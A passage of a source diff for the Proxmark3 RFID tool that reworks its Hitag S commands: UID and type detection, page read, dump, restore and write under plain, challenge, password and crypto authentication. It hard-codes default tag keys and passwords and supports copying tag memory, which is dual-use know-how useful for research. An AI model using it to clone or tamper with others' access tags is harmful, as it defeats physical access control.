!= 0x6) { + switch (pid1) { + case 1: + return "PCF 7936"; + case 2: + return "PCF 7946"; + case 3: + return "PCF 7947"; + case 4: + return "PCF 7942/44"; + case 5: + return "PCF 7943"; + case 6: + return "PCF 7941"; + case 7: + return "PCF 7952"; + case 9: + return "PCF 7945"; + default: + return "n/a"; + } + } else + return "Probably not NXP Hitag S"; +} + +static bool hts_get_uid(uint32_t *uid) { + clearCommandBuffer(); + SendCommandNG(CMD_LF_HITAGS_UID, NULL, 0); + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_LF_HITAGS_UID, &resp, 1500) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return false; + } + + if (resp.status != PM3_SUCCESS) { + PrintAndLogEx(DEBUG, "DEBUG: Error - failed getting Hitag S UID"); + return false; + } + + if (uid) { + *uid = bytes_to_num(resp.data.asBytes, HITAG_UID_SIZE); + } + return true; +} + +int read_hts_uid(void) { + uint32_t uid = 0; + if (hts_get_uid(&uid) == false) { + return PM3_ESOFT; + } + + PrintAndLogEx(SUCCESS, "UID....... " _GREEN_("%08X"), uid); + PrintAndLogEx(SUCCESS, "TYPE...... " _GREEN_("%s"), hts_get_type_str(uid)); + return PM3_SUCCESS; +} + +static int process_hitags_common_args(CLIParserContext *ctx, lf_hitag_data_t *const packet) { bool use_plain = false; + bool use_82xx = arg_get_lit(ctx, 1); - uint8_t nrar[8]; + bool use_nrar = false; + uint8_t nrar[HITAG_NRAR_SIZE]; int nrar_len = 0; - int res = CLIParamHexToBuf(arg_get_str(ctx, 1), nrar, sizeof(nrar), &nrar_len); + int res = CLIParamHexToBuf(arg_get_str(ctx, 2), nrar, HITAG_NRAR_SIZE, &nrar_len); if (res != 0) { CLIParserFree(ctx); return PM3_EINVARG; } - bool use_nrar = nrar_len > 0; - bool use_crypto = arg_get_lit(ctx, 2); + use_nrar = nrar_len > 0; - uint8_t key[6]; + bool use_crypto = arg_get_lit(ctx, 3); + + uint8_t key[HITAG_CRYPTOKEY_SIZE]; int key_len = 0; - res = CLIParamHexToBuf(arg_get_str(ctx, 3), key, sizeof(key), &key_len); + res = CLIParamHexToBuf(arg_get_str(ctx, 4), key, HITAG_CRYPTOKEY_SIZE, &key_len); if (res != 0) { CLIParserFree(ctx); return PM3_EINVARG; } + if (key_len != 0 && key_len != HITAG_PASSWORD_SIZE && key_len != HITAG_CRYPTOKEY_SIZE) { + PrintAndLogEx(WARNING, "Wrong KEY len expected 0, 4 or 6, got %d", key_len); + return PM3_EINVARG; + } + + if (nrar_len && nrar_len != HITAG_NRAR_SIZE) { + PrintAndLogEx(WARNING, "Wrong NR/AR len expected %d, got %d", HITAG_NRAR_SIZE, nrar_len); + return PM3_EINVARG; + } + + uint8_t mode = arg_get_int_def(ctx, 5, 3); + + if (mode > 3) { + PrintAndLogEx(WARNING, "Wrong response protocol mode, expected 0, 1, 2 or 3, got %d", mode); + return PM3_EINVARG; + } + + // complete options + switch (key_len) { + case HITAG_PASSWORD_SIZE: + use_82xx = true; + break; + case HITAG_CRYPTOKEY_SIZE: + use_crypto = true; + break; + default: // key_len == 0 + if (use_82xx) { + memcpy(key, "\xBB\xDD\x33\x99", 4); + key_len = 4; + } else if (use_crypto) { + memcpy(key, "ONMIKR", 6); + key_len = 6; + } + } + + // check coherence + uint8_t auth_methods = (use_plain + use_nrar + use_82xx + use_crypto); + if (auth_methods > 1) { + PrintAndLogEx(WARNING, "Specify only one authentication mode"); + return PM3_EINVARG; + } + + if (auth_methods == 0) { + use_plain = true; + } + + memset(packet, 0, sizeof(*packet)); + + if (use_plain) { + PrintAndLogEx(INFO, "Access " _YELLOW_("Hitag S") " in Plain mode"); + } else if (use_nrar) { + packet->cmd = HTSF_CHALLENGE; + memcpy(packet->NrAr, nrar, sizeof(packet->NrAr)); + PrintAndLogEx(INFO, "Authenticating to " _YELLOW_("Hitag S") " in Challenge mode"); + } else if (use_82xx) { + packet->cmd = HTSF_82xx; + memcpy(packet->pwd, key, sizeof(packet->pwd)); + PrintAndLogEx(INFO, "Authenticating to " _YELLOW_("Hitag S") " in 82xx mode"); + } else if (use_crypto) { + packet->cmd = HTSF_KEY; + memcpy(packet->key, key, sizeof(packet->key)); + PrintAndLogEx(INFO, "Authenticating to " _YELLOW_("Hitag S") " in Crypto mode"); + } + + switch (mode) { + case 0: + packet->mode = HITAGS_UID_REQ_STD; + break; + case 1: + packet->mode = HITAGS_UID_REQ_ADV1; + break; + case 2: + packet->mode = HITAGS_UID_REQ_ADV2; + break; + default: + packet->mode = HITAGS_UID_REQ_FADV; + break; + } + + return PM3_SUCCESS; +} + +static void print_error(int8_t reason) { + switch (reason) { + case -2: + PrintAndLogEx(FAILED, "UID Request failed!"); + break; + case -3: + PrintAndLogEx(FAILED, "Select UID failed!"); + break; + case -4: + PrintAndLogEx(FAILED, "No write access on page " _YELLOW_("64") ". not 82xx?"); + break; + case -5: + PrintAndLogEx(FAILED, "Write to page " _YELLOW_("64") " failed! wrong password?"); + break; + case -6: + PrintAndLogEx(FAILED, "Error, " _YELLOW_("AUT=1") " This tag is configured in Authentication Mode"); + break; + case -7: + PrintAndLogEx(FAILED, "Error, unknown function"); + break; + case -8: + PrintAndLogEx(FAILED, "Authenticate failed!"); + break; + case -9: + PrintAndLogEx(FAILED, "No write access on page"); + break; + case -10: + PrintAndLogEx(FAILED, "Write to page failed!"); + break; + case -11: + PrintAndLogEx(FAILED, "Read page failed!"); + break; + default: + // PM3_REASON_UNKNOWN + PrintAndLogEx(FAILED, "Error - Hitag S failed"); + } +} + +static void hitags_config_print(hitags_config_t config) { + PrintAndLogEx(INFO, " Memory type...... " _GREEN_("%s"), + (const char *[]) {"Hitag S 32", "Hitag S 256", "Hitag S 2048", "Unknown Hitag S/8211"}[config.MEMT]); + + PrintAndLogEx(INFO, " Authenticaion.... %s", config.auth ? _YELLOW_("Yes") : "No"); + + PrintAndLogEx(INFO, " TTF coding....... %s", + config.RES3 ? "FSK 0=RF/10 1=RF/8" : (const char *[]) {"Manchester", "Biphase"}[config.TTFC]); + + PrintAndLogEx(INFO, " TTF data rate.... %s", + (const char *[]) {"4 kBit", "8 kBit", "2 kBit", "2 kBit and Pigeon Race Standard"}[config.TTFDR]); + + PrintAndLogEx(INFO, " TTF mode......... %s", + (const char *[]) { + "TTF Mode disabled (= RTF Mode)", + "Page 4, Page 5", + "Page 4, Page 5, Page 6, Page 7", + "Page 4", + "TTF Mode disabled (= RTF Mode)", + "Page 4, Page 5, Page 6", + "Page 4, Page 5, Page 6, Page 7, Page 8", + "Page 4, Page 5, Page 6, Page 7, Page 8, Page 9, Page 10, Page 11", + }[config.RES0 << 2 | config.TTFM]); + + PrintAndLogEx(INFO, " Config locked.... %s", config.LCON ? _RED_("Yes") : _GREEN_("No")); + PrintAndLogEx(INFO, " Key/PWD locked... %s", config.LKP ? _RED_("Yes") : _GREEN_("No")); +} + +static int CmdLFHitagSRead(const char *Cmd) { + CLIParserContext *ctx; + CLIParserInit(&ctx, "lf hitag hts rdbl", + "Read Hitag S memory\n" + " Response protocol modes:\n" + " 0 - Standard 00110\n" + " 1 - Advanced 11000\n" + " 2 - Advanced 11001\n" + " 3 - Fast Advanced 11010 (def)\n\n" + " Crypto mode: \n" + " - key format ISK high + ISK low\n" + " - default key 4F4E4D494B52 (ONMIKR)\n\n" + " 8268/8310 password mode: \n" + " - default password BBDD3399\n", + " lf hitag hts rdbl -p 1 -> Hitag S/8211, plain mode\n" + " lf hitag hts rdbl -p 1 --82xx -k BBDD3399 -> 8268/8310, password mode\n" + " lf hitag hts rdbl -p 1 --nrar 0102030411223344 -> Hitag S, challenge mode\n" + " lf hitag hts rdbl -p 1 --crypto -> Hitag S, crypto mode, def key\n" + " lf hitag hts rdbl -p 1 -k 4F4E4D494B52 -> Hitag S, crypto mode\n\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_lit0("8", "82xx", "8268/8310 mode"), + arg_str0(NULL, "nrar", "", "nonce / answer writer, 8 hex bytes"), + arg_lit0(NULL, "crypto", "crypto mode"), + arg_str0("k", "key", "", "pwd or key, 4 or 6 hex bytes"), + arg_int0("m", "mode", "<0|1|2|3>", "response protocol mode (def 3)"), + arg_int0("p", "page", "", "page address to read from"), + arg_int0("c", "count", "", "how many pages to read. '0' reads all pages up to the end page (def: 1)"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, true); + + lf_hitag_data_t packet; + + if (process_hitags_common_args(ctx, &packet) < 0) return PM3_EINVARG; + + uint32_t page = arg_get_int_def(ctx, 6, 0); + + if (page > 255) { + PrintAndLogEx(WARNING, "Page address Invalid."); + return PM3_EINVARG; + } + + uint32_t count = arg_get_int_def(ctx, 7, 1); + + if (count > HITAGS_MAX_PAGES) { + PrintAndLogEx(WARNING, "No more than 64 pages can be read at once."); + return PM3_EINVARG; + } + CLIParserFree(ctx); - if (key_len && key_len != HITAGS_CRYPTOKEY_SIZE) { - PrintAndLogEx(WARNING, "Wrong KEY len expected %d, got %d", HITAGS_CRYPTOKEY_SIZE, key_len); - return PM3_EINVARG; - } - - if (nrar_len && nrar_len != HITAGS_NRAR_SIZE) { - PrintAndLogEx(WARNING, "Wrong NR/AR len expected %d, got %d", HITAGS_NRAR_SIZE, nrar_len); - return PM3_EINVARG; - } - - if (!key_len && use_crypto) { - memcpy(key, "ONMIKR", 6); - key_len = 6; - } - - // check coherence - uint8_t auth_methods = (use_plain + use_nrar + use_crypto); - if (auth_methods > 1) { - PrintAndLogEx(WARNING, "Specify only one authentication mode"); - return PM3_EINVARG; - } else if (auth_methods == 0) { - use_plain = true; - } - - lf_hitag_data_t packet; - memset(&packet, 0, sizeof(packet)); - - int pm3cmd = CMD_LF_HITAGS_READ; - - if (use_nrar) { - packet.cmd = RHTSF_CHALLENGE; - memcpy(packet.NrAr, nrar, sizeof(packet.NrAr)); - } - - if (use_crypto) { - packet.cmd = RHTSF_KEY; - memcpy(packet.key, key, sizeof(packet.key)); - } + packet.page = page; + packet.page_count = count; clearCommandBuffer(); - SendCommandNG(pm3cmd, (uint8_t *) &packet, sizeof(packet)); + SendCommandNG(CMD_LF_HITAGS_READ, (uint8_t *) &packet, sizeof(packet)); PacketResponseNG resp; - if (WaitForResponseTimeout(pm3cmd, &resp, 2000) == false) { - PrintAndLogEx(WARNING, "timeout while waiting for reply."); + if (WaitForResponseTimeout(CMD_LF_HITAGS_READ, &resp, 2000) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); SendCommandNG(CMD_BREAK_LOOP, NULL, 0); return PM3_ETIMEOUT; } if (resp.status != PM3_SUCCESS) { - PrintAndLogEx(DEBUG, "DEBUG: Error - hitag failed"); + print_error(resp.reason); return PM3_ESOFT; } - // ?? - if (use_nrar) { - return PM3_SUCCESS; - } + lf_hts_read_response_t *card = (lf_hts_read_response_t *)resp.data.asBytes; - uint8_t *data = resp.data.asBytes; - - hitags_config_t config = hitags_config_unpack(data + HITAGS_PAGE_SIZE); + hitags_config_t config = card->config_page.s; PrintAndLogEx(NORMAL, ""); PrintAndLogEx(INFO, "--- " _CYAN_("Tag Information") " ---------------------------"); @@ -153,68 +445,469 @@ static int CmdLFHitagSRead(const char *Cmd) { hitags_config_print(config); PrintAndLogEx(NORMAL, ""); - PrintAndLogEx(INFO, "--- " _CYAN_("Tag Data") " ----------------------------------"); + PrintAndLogEx(INFO, "--- " _CYAN_("Tag Data") " ---------------------------"); + PrintAndLogEx(INFO, " # | 00 01 02 03 | ascii | perm | info"); + PrintAndLogEx(INFO, "----+-------------+-------+------+------"); - uint32_t size = (const int[]) {4, 32, 256, 0}[config.memory_type]; + const int hts_mem_sizes[] = {1, 8, 64, 64}; - print_hex_break(data, size, HITAGS_PAGE_SIZE); + if (count == 0) { + count = hts_mem_sizes[config.MEMT] > page ? hts_mem_sizes[config.MEMT] - page : 64; + } + + // int page_end = page + count; + // page_end = MIN(page_end, 255); + + for (int i = 0; i < count; ++i) { + int page_addr = page + i; + if (page_addr > 255) { + break; + } + if (card->pages_reason[i] >= 0) { + PrintAndLogEx(SUCCESS, "% 3u | %s | " NOLF, page_addr, sprint_hex_ascii(card->pages[i], HITAGS_PAGE_SIZE)); + + // access right + if (page_addr == HITAGS_UID_PADR) { + PrintAndLogEx(NORMAL, _RED_("RO ")NOLF); + \ + } else if (packet.cmd == HTSF_82xx && page_addr > 40) { // using an 82xx (pages>40 are RO) + PrintAndLogEx(NORMAL, _RED_("RO ")NOLF); + } else if (page_addr == HITAGS_CONFIG_PADR) { + if (card->config_page.s.LCON) + PrintAndLogEx(NORMAL, _YELLOW_("OTP ")NOLF); + else + PrintAndLogEx(NORMAL, _GREEN_("RW ")NOLF); + } else if (2 <= page_addr && page_addr <= 3) { + if (card->config_page.s.LKP) + if (card->config_page.s.auth) + PrintAndLogEx(NORMAL, _RED_("NO ")NOLF); + else + PrintAndLogEx(NORMAL, _RED_("RO ")NOLF); + else + PrintAndLogEx(NORMAL, _GREEN_("RW ")NOLF); + } else if (4 <= page_addr && page_addr <= 5) { + if (card->config_page.s.LCK7) + if (card->config_page.s.TTFDR == 2 && page_addr == 5) + PrintAndLogEx(NORMAL, _YELLOW_("RO/W")NOLF); + else + PrintAndLogEx(NORMAL, _RED_("RO ")NOLF); + else + PrintAndLogEx(NORMAL, _GREEN_("RW ")NOLF); + } else if (6 <= page_addr && page_addr <= 7) { + if (card->config_page.s.LCK6) + PrintAndLogEx(NORMAL, _RED_("RO ")NOLF); + else + PrintAndLogEx(NORMAL, _GREEN_("RW ")NOLF); + } else if (8 <= page_addr && page_addr <= 11) { + if (card->config_page.s.LCK5) + PrintAndLogEx(NORMAL, _RED_("RO ")NOLF); + else + PrintAndLogEx(NORMAL, _GREEN_("RW ")NOLF); + } else if (12 <= page_addr && page_addr <= 15) { + if (card->config_page.s.LCK4) + PrintAndLogEx(NORMAL, _RED_("RO ")NOLF); + else + PrintAndLogEx(NORMAL, _GREEN_("RW ")NOLF); + } else if (16 <= page_addr && page_addr <= 23) { + if (card->config_page.s.LCK3) + PrintAndLogEx(NORMAL, _RED_("RO ")NOLF); + else + PrintAndLogEx(NORMAL, _GREEN_("RW ")NOLF); + } else if (24 <= page_addr && page_addr <= 32) { + if (card->config_page.s.LCK2) + PrintAndLogEx(NORMAL, _RED_("RO ")NOLF); + else + PrintAndLogEx(NORMAL, _GREEN_("RW ")NOLF); + } else if (32 <= page_addr && page_addr <= 47) { + if (card->config_page.s.LCK1) + PrintAndLogEx(NORMAL, _RED_("RO ")NOLF); + else + PrintAndLogEx(NORMAL, _GREEN_("RW ")NOLF); + } else if (48 <= page_addr && page_addr <= 63) { + if (card->config_page.s.LCK0) + PrintAndLogEx(NORMAL, _RED_("RO ")NOLF); + else + PrintAndLogEx(NORMAL, _GREEN_("RW ")NOLF); + } else + PrintAndLogEx(NORMAL, _YELLOW_("UNK ") NOLF); + + PrintAndLogEx(NORMAL, " | " NOLF); + + // info + if (page_addr == HITAGS_UID_PADR) { + PrintAndLogEx(NORMAL, "UID"); + } else if (page_addr == HITAGS_CONFIG_PADR) { + PrintAndLogEx(NORMAL, "Config"); + } else if (page_addr == 2 && card->config_page.s.auth) { + PrintAndLogEx(NORMAL, "Pwd/Key"); + } else if (page_addr == 3 && card->config_page.s.auth) { + PrintAndLogEx(NORMAL, "Key"); + } else + PrintAndLogEx(NORMAL, "Data"); + } else { + PrintAndLogEx(INFO, "% 3u | -- -- -- -- | .... | N/A | " NOLF, page_addr); + print_error(card->pages_reason[i]); + } + } + + PrintAndLogEx(INFO, "----+-------------+-------+------+------"); + PrintAndLogEx(INFO, " " _RED_("RO") " = Read Only, " _GREEN_("RW") " = Read Write"); + PrintAndLogEx(INFO, " " _YELLOW_("OTP") " = One Time Programmable"); + PrintAndLogEx(INFO, " " _YELLOW_("RO/W") " = Partially Read Write"); + PrintAndLogEx(INFO, "----------------------------------------"); + return PM3_SUCCESS; +} + +static int CmdLFHitagSDump(const char *Cmd) { + + CLIParserContext *ctx; + CLIParserInit(&ctx, "lf hitag hts dump", + "Read all Hitag S memory and save to file\n" + " Crypto mode: \n" + " - key format ISK high + ISK low\n" + " - default key 4F4E4D494B52 (ONMIKR)\n\n" + " 8268/8310 password mode: \n" + " - default password BBDD3399\n", + "lf hitag hts dump --82xx -> use def pwd\n" + "lf hitag hts dump --82xx -k BBDD3399 -> pwd mode\n" + "lf hitag hts dump --crypto -> use def crypto\n" + "lf hitag hts dump -k 4F4E4D494B52 -> crypto mode\n" + "lf hitag hts dump --nrar 0102030411223344\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_lit0("8", "82xx", "8268/8310 mode"), + arg_str0(NULL, "nrar", "", "nonce / answer writer, 8 hex bytes"), + arg_lit0(NULL, "crypto", "crypto mode"), + arg_str0("k", "key", "", "pwd or key, 4 or 6 hex bytes"), + arg_int0("m", "mode", "", "response protocol mode. 0 (Standard 00110), 1 (Advanced 11000), 2 (Advanced 11001), 3 (Fast Advanced 11010) (def: 3)"), + arg_str0("f", "file", "", "specify file name"), + arg_lit0(NULL, "ns", "no save to file"), + arg_param_end + }; + CLIExecWithReturn(ctx, Cmd, argtable, false); + + lf_hitag_data_t packet; + memset(&packet, 0, sizeof(packet)); + + if (process_hitags_common_args(ctx, &packet) < 0) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + int fnlen = 0; + char filename[FILE_PATH_SIZE] = {0}; + CLIParamStrToBuf(arg_get_str(ctx, 6), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); + + bool nosave = arg_get_lit(ctx, 7); + CLIParserFree(ctx); + + // read all pages + packet.page = 0; + packet.page_count = 0; + + clearCommandBuffer(); + SendCommandNG(CMD_LF_HITAGS_READ, (uint8_t *) &packet, sizeof(packet)); + + PacketResponseNG resp; + if (WaitForResponseTimeout(CMD_LF_HITAGS_READ, &resp, 5000) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + return PM3_ETIMEOUT; + } + + if (resp.status != PM3_SUCCESS) { + print_error(resp.reason); + return PM3_ESOFT; + } + + lf_hts_read_response_t *card = (lf_hts_read_response_t *)resp.data.asBytes; + + const int hts_mem_sizes[] = {1, 8, 64, 64}; + int mem_size = hts_mem_sizes[card->config_page.s.MEMT] * HITAGS_PAGE_SIZE; + + hitags_config_t config = card->config_page.s; + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "--- " _CYAN_("Tag Information") " ---------------------------"); + hitags_config_print(config); + + if (nosave) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(INFO, "Called with no save option"); + PrintAndLogEx(NORMAL, ""); + return PM3_SUCCESS; + } + + if (fnlen < 1) { + char *fptr = filename; + fptr += snprintf(filename, sizeof(filename), "lf-hitags-"); + FillFileNameByUID(fptr, card->pages[HITAGS_UID_PADR], "-dump", HITAGS_PAGE_SIZE); + } + + pm3_save_dump(filename, (uint8_t *)card->pages, mem_size, jsfHitag); + + return PM3_SUCCESS; +} + +static int CmdLFHitagSRestore(const char *Cmd) { + + CLIParserContext *ctx; + CLIParserInit(&ctx, "lf hitag hts restore", + "Restore a dump file onto Hitag S tag\n" + " Crypto mode: \n" + " - key format ISK high + ISK low\n" + " - default key 4F4E4D494B52 (ONMIKR)\n\n" + " 8268/8310 password mode: \n" + " - default password BBDD3399\n", + "lf hitag hts restore -f myfile --82xx -> use def pwd\n" + "lf hitag hts restore -f myfile --82xx -k BBDD3399 -> pwd mode\n" + "lf hitag hts restore -f myfile --crypto -> use def crypto\n" + "lf hitag hts restore -f myfile -k 4F4E4D494B52 -> crypto mode\n" + "lf hitag hts restore -f myfile --nrar 0102030411223344\n" + ); + + void *argtable[] = { + arg_param_begin, + arg_lit0("8", "82xx", "8268/8310 mode"), + arg_str0(NULL, "nrar", "", "nonce / answer writer, 8 hex bytes"), + arg_lit0(NULL, "crypto", "crypto mode"), + arg_str0("k", "key", "", "pwd or key, 4 or 6 hex bytes"), + arg_int0("m", "mode", "", "response protocol mode. 0 (Standard 00110), 1 (Advanced 11000), 2 (Advanced 11001), 3 (Fast Advanced 11010) (def: 3)"), + arg_str0("f", "file", "", "specify file name"), + arg_param_end + }; + + CLIExecWithReturn(ctx, Cmd, argtable, false); + + lf_hitag_data_t packet; + memset(&packet, 0, sizeof(packet)); + + if (process_hitags_common_args(ctx, &packet) < 0) { + CLIParserFree(ctx); + return PM3_EINVARG; + } + + int fnlen = 0; + char filename[FILE_PATH_SIZE] = {0}; + CLIParamStrToBuf(arg_get_str(ctx, 6), (uint8_t *)filename, FILE_PATH_SIZE, &fnlen); + + if (fnlen == 0) { + PrintAndLogEx(ERR, "Must specify a file"); + return PM3_EINVARG; + } + + // read dump file + uint32_t *dump = NULL; + size_t bytes_read = 0; + if (pm3_load_dump(filename, (void **)&dump, &bytes_read, jsfHitag) != PM3_SUCCESS) { + return PM3_EFILE; + } + + // read config to determine memory size and other stuff + packet.page = HITAGS_CONFIG_PADR; + packet.page_count = 1; + + + clearCommandBuffer(); + SendCommandNG(CMD_LF_HITAGS_READ, (uint8_t *)&packet, sizeof(packet)); + + PacketResponseNG resp; + + if (WaitForResponseTimeout(CMD_LF_HITAGS_READ, &resp, 2000) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + free(dump); + return PM3_ETIMEOUT; + } + + if (resp.status != PM3_SUCCESS) { + print_error(resp.reason); + free(dump); + return PM3_ESOFT; + } + + lf_hts_read_response_t *config = (lf_hts_read_response_t *)resp.data.asBytes; + hitags_config_t tag_config = config->config_page.s; + + const int hts_mem_sizes[] = {1, 8, 64, 64}; + int mem_size = hts_mem_sizes[tag_config.MEMT] * HITAGS_PAGE_SIZE; + + if (bytes_read != mem_size) { + free(dump); + PrintAndLogEx(FAILED, "Wrong length of dump file. Expected %d bytes, got %zu", mem_size, bytes_read); + return PM3_EFILE; + } + + uint8_t *dump_bytes = (uint8_t *)dump; + bool auth_changed = false; + + for (int page = packet.page_count + 1; page < hts_mem_sizes[tag_config.MEMT]; page++) { // skip config page + + if (packet.cmd == HTSF_82xx && page > 40) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(WARNING, "Using " _YELLOW_("82xx") ", Pages " _YELLOW_("41-63") " will be skipped"); + PrintAndLogEx(NORMAL, ""); + break; + } + + size_t offset = page * HITAGS_PAGE_SIZE; + + packet.page = page; + memcpy(packet.data, &dump_bytes[offset], HITAGS_PAGE_SIZE); + + PrintAndLogEx(INPLACE, " Writing page "_YELLOW_("%d")", data: " _GREEN_("%02X %02X %02X %02X"), page, + dump_bytes[offset], + dump_bytes[offset + 1], + dump_bytes[offset + 2], + dump_bytes[offset + 3]); + + + clearCommandBuffer(); + SendCommandNG(CMD_LF_HITAGS_WRITE, (uint8_t *)&packet, sizeof(packet)); + + if (WaitForResponseTimeout(CMD_LF_HITAGS_WRITE, &resp, 2000) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + free(dump); + return PM3_ETIMEOUT; + } + + if (resp.status != PM3_SUCCESS) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(FAILED, "Write failed for page %d", page); + print_error(resp.reason); + free(dump); + return PM3_ESOFT; + } + + switch (page) { + case 2: // auth first page + if (packet.cmd == HTSF_82xx) { + if (memcmp(packet.pwd, &dump_bytes[offset], HITAGS_PAGE_SIZE) == 0) { + break; + } + auth_changed = true; + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(WARNING, "Password Changed! Old: " _BACK_BLUE_("%02X %02X %02X %02X") ", New: "_BACK_BLUE_("%02X %02X %02X %02X"), + packet.pwd[0], packet.pwd[1], packet.pwd[2], packet.pwd[3], + dump_bytes[offset], dump_bytes[offset + 1], + dump_bytes[offset + 2], dump_bytes[offset + 3]); + + + memcpy(packet.pwd, &dump_bytes[offset], HITAG_PASSWORD_SIZE); + + + PrintAndLogEx(SUCCESS, "Using new password for subsequent writes"); + } + break; + case 3: // crypto mode + if (packet.cmd == HTSF_KEY) { + + if (memcmp(packet.key, &dump_bytes[offset - HITAGS_PAGE_SIZE], HITAG_CRYPTOKEY_SIZE) == 0) { + break; + } + auth_changed = true; + + memcpy(packet.key, &dump_bytes[offset - HITAGS_PAGE_SIZE], HITAG_CRYPTOKEY_SIZE); + + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(WARNING, "New key detected: " _BACK_BLUE_("%02X %02X %02X %02X %02X %02X"), + packet.key[0], packet.key[1], packet.key[2], + packet.key[3], packet.key[4], packet.key[5]); + + PrintAndLogEx(SUCCESS, "Using new key for subsequent writes"); + } + break; + } + } + + // restore config page at end + size_t config_offset = HITAGS_PAGE_SIZE * 1; // page 1 + packet.page = HITAGS_CONFIG_PADR; + memcpy(packet.data, &dump_bytes[HITAGS_PAGE_SIZE], HITAGS_PAGE_SIZE); + + + PrintAndLogEx(SUCCESS, "Applying "_YELLOW_("restored config: ") _GREEN_("%02X %02X %02X %02X"), + dump_bytes[config_offset], + dump_bytes[config_offset + 1], + dump_bytes[config_offset + 2], + dump_bytes[config_offset + 3]); + + + clearCommandBuffer(); + SendCommandNG(CMD_LF_HITAGS_WRITE, (uint8_t *)&packet, sizeof(packet)); + + if (WaitForResponseTimeout(CMD_LF_HITAGS_WRITE, &resp, 2000) == false) { + PrintAndLogEx(WARNING, "timeout while waiting for reply"); + free(dump); + return PM3_ETIMEOUT; + } + + if (resp.status != PM3_SUCCESS) { + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(NORMAL, ""); + PrintAndLogEx(FAILED, "Failed to apply config"); + print_error(resp.reason); + free(dump); + return PM3_ESOFT; + } + + PrintAndLogEx(INFO, "Write process completed"); + + if (auth_changed) { + if (packet.cmd == HTSF_82xx) { + PrintAndLogEx(SUCCESS, "New Password: " _BACK_BLUE_("%02X %02X %02X %02X"), + packet.pwd[0], packet.pwd[1], packet.pwd[2], packet.pwd[3]); + } else if (packet.cmd == HTSF_KEY) { + PrintAndLogEx(SUCCESS, "New Key: " _BACK_BLUE_("%02X %02X %02X %02X %02X %02X"), + packet.key[0], packet.key[1], packet.key[2], + packet.key[3], packet.key[4], packet.key[5]); + } + } return PM3_SUCCESS; } static int CmdLFHitagSWrite(const char *Cmd) { CLIParserContext *ctx; - CLIParserInit(&ctx, "lf hitag hts write", + CLIParserInit(&ctx, "lf hitag hts wrbl", "Write a page in Hitag S memory.\n" " Crypto mode: \n" " - key format ISK high + ISK low\n" - " - default key 4F4E4D494B52 (ONMIKR)\n", - " lf hitag hts write -p 6 -d 01020304 -> Hitag S, plain mode\n" - " lf hitag hts write -p 6 -d 01020304 --nrar 0102030411223344 -> Hitag S, challenge mode\n" - " lf hitag hts write -p 6 -d 01020304 --crypto -> Hitag S, crypto mode, default key\n" - " lf hitag hts write -p 6 -d 01020304 -k 4F4E4D494B52 -> Hitag S, crypto mode\n\n" + " - default key 4F4E4D494B52 (ONMIKR)\n\n" + " 8268/8310 password mode: \n" + " - default password BBDD3399\n", + " lf hitag hts wrbl -p 6 -d 01020304 -> Hitag S/8211, plain mode\n" + " lf hitag hts wrbl -p 6 -d 01020304 --82xx -> use def pwd\n" + " lf hitag hts wrbl -p 6 -d 01020304 --82xx -k BBDD3399 -> 8268/8310, password mode\n" + " lf hitag hts wrbl -p 6 -d 01020304 --nrar 0102030411223344 -> Hitag S, challenge mode\n" + " lf hitag hts wrbl -p 6 -d 01020304 --crypto -> Hitag S, crypto mode, default key\n" + " lf hitag hts wrbl -p 6 -d 01020304 -k 4F4E4D494B52 -> Hitag S, crypto mode\n\n" ); void *argtable[] = { arg_param_begin, + arg_lit0("8", "82xx", "8268/8310 mode"), arg_str0(NULL, "nrar", "", "nonce / answer writer, 8 hex bytes"), arg_lit0(NULL, "crypto", "crypto mode"), - arg_str0("k", "key", "", "key, 6 hex bytes"), + arg_str0("k", "key", "", "pwd or key, 4 or 6 hex bytes"), + arg_int0("m", "mode", "", "response protocol mode. 0 (Standard 00110), 1 (Advanced 11000), 2 (Advanced 11001), 3 (Fast Advanced 11010) (def: 3)"), arg_int1("p", "page", "", "page address to write to"), arg_str1("d", "data", "", "data, 4 hex bytes"), arg_param_end }; CLIExecWithReturn(ctx, Cmd, argtable, false); - bool use_plain = false; + lf_hitag_data_t packet; - uint8_t nrar[8]; - int nrar_len = 0; + if (process_hitags_common_args(ctx, &packet) < 0) return PM3_EINVARG; - int res = CLIParamHexToBuf(arg_get_str(ctx, 1), nrar, sizeof(nrar), &nrar_len); - if (res != 0) { - CLIParserFree(ctx); - return PM3_EINVARG; - } + int page = arg_get_int_def(ctx, 6, 0); - bool use_nrar = nrar_len > 0; - bool use_crypto = arg_get_lit(ctx, 2); - - uint8_t key[6]; - int key_len = 0; - - res = CLIParamHexToBuf(arg_get_str(ctx, 3), key, sizeof(key), &key_len); - if (res != 0) { - CLIParserFree(ctx); - return PM3_EINVARG; - } - - int page = arg_get_int_def(ctx, 4, 0); - - uint8_t data[4]; + uint8_t data[HITAGS_PAGE_SIZE]; int data_len = 0; - res = CLIParamHexToBuf(arg_get_str(ctx, 5), data, sizeof(data), &data_len); + int res = CLIParamHexToBuf(arg_get_str(ctx, 7), data, HITAGS_PAGE_SIZE, &data_len); if (res != 0) { CLIParserFree(ctx); return PM3_EINVARG; @@ -222,52 +915,15 @@ static int CmdLFHitagSWrite(const char *Cmd) { CLIParserFree(ctx); - if (key_len && key_len != HITAGS_CRYPTOKEY_SIZE) { - PrintAndLogEx(WARNING, "Wrong KEY len expected %d, got %d", HITAGS_CRYPTOKEY_SIZE, key_len); - return PM3_EINVARG; - } - - if (nrar_len && nrar_len != HITAGS_NRAR_SIZE) { - PrintAndLogEx(WARNING, "Wrong NR/AR len expected %d, got %d", HITAGS_NRAR_SIZE, nrar_len); - 